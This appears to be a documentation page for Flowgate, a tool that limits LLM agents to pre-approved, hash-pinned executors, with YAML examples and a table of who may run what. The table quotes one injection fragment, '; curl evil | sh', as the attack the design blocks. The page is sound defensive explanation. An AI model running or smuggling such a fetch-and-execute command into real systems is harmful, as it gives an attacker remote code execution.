Concept 3 of 10
Handing an LLM a shell is the fastest way to a prompt-injection incident. Flowgate flips it: the model can only run reusable building blocks you approved first — and it can never introduce a command of its own.
Each move your agent makes runs a real thing — a shell script,
a CLI command, a REST call, an MCP
tool, a whole sub-workflow, a packaged skill, or
a handoff to a human. The slot that holds that real thing is
the move's executor — the bit of config that says "when the agent
takes this move, this is what actually fires." It's the same
cargo test or gh pr create you'd run by hand,
except you wire it in once and build a library. The model never authors
the command; it just picks which legal move to take, and the executor runs.
scripts:
build.cargo.release:
verb: build
lifecycle: stable
body: |
#!/usr/bin/env bash
set -euo pipefail
cargo build --release --locked "$@"
workflows:
ci:
states:
building:
transitions:
done:
target: testing
executor: { kind: script, subject: build.cargo.release }
A workflow is the state machine your agent walks: from building
the only move out is done, and taking it runs your pinned
cargo build --release before the agent lands in
testing. Wire each state's moves to real commands and the
machine has teeth — there's no path that skips the build.
How you run flowgate
decides how airtight that is.
There's a known, systemic flaw in MCP: a client runs a server's configured command unsanitized. Flowgate is a client that spawns processes, so it takes that responsibility — by authorizing execution by provenance: who wrote the thing that wants to run.
| Who | What they can run |
|---|---|
| You (hand-written config) | Anything — cli, mcp, script. Your config is your trust boundary. |
| The model at runtime | Picks transitions and fills their arguments — passed as argv, never through a shell. It can never introduce a command. No ; curl evil | sh. |
| Authored content (LLM-proposed) | Only hash-pinned scripts + connections you declared. A raw command is rejected before publish. No new raw command, ever. |
The guarantee you actually want: the agent can't run a different script
than the one you reviewed. Here's how flowgate buys that. Each script is
identified by the hash of its body and pinned to the workflow when a run
starts — so editing the body later is invisible to runs already in flight,
and an audit replay can pull back the exact body that executed. For
destructive scripts, pair the executor with a
script_acknowledged guard: the workflow refuses to run until
an operator has reviewed the current body. Change the body, the hash
flips, and the acknowledgement is invalidated — the next run blocks until
someone signs off again.
deploying:
transitions:
ship:
target: deployed
executor: { kind: script, subject: deploy.prod }
guards:
- kind: script_acknowledged # review-before-execute, hash-flip-invalidated
subject: deploy.prod You can open up a raw command if you want to — the door's there. But the default is the opposite of "let the model do whatever it wants": a growing library of approved, hash-pinned, deterministic building blocks. Constraint is what buys you repeatability.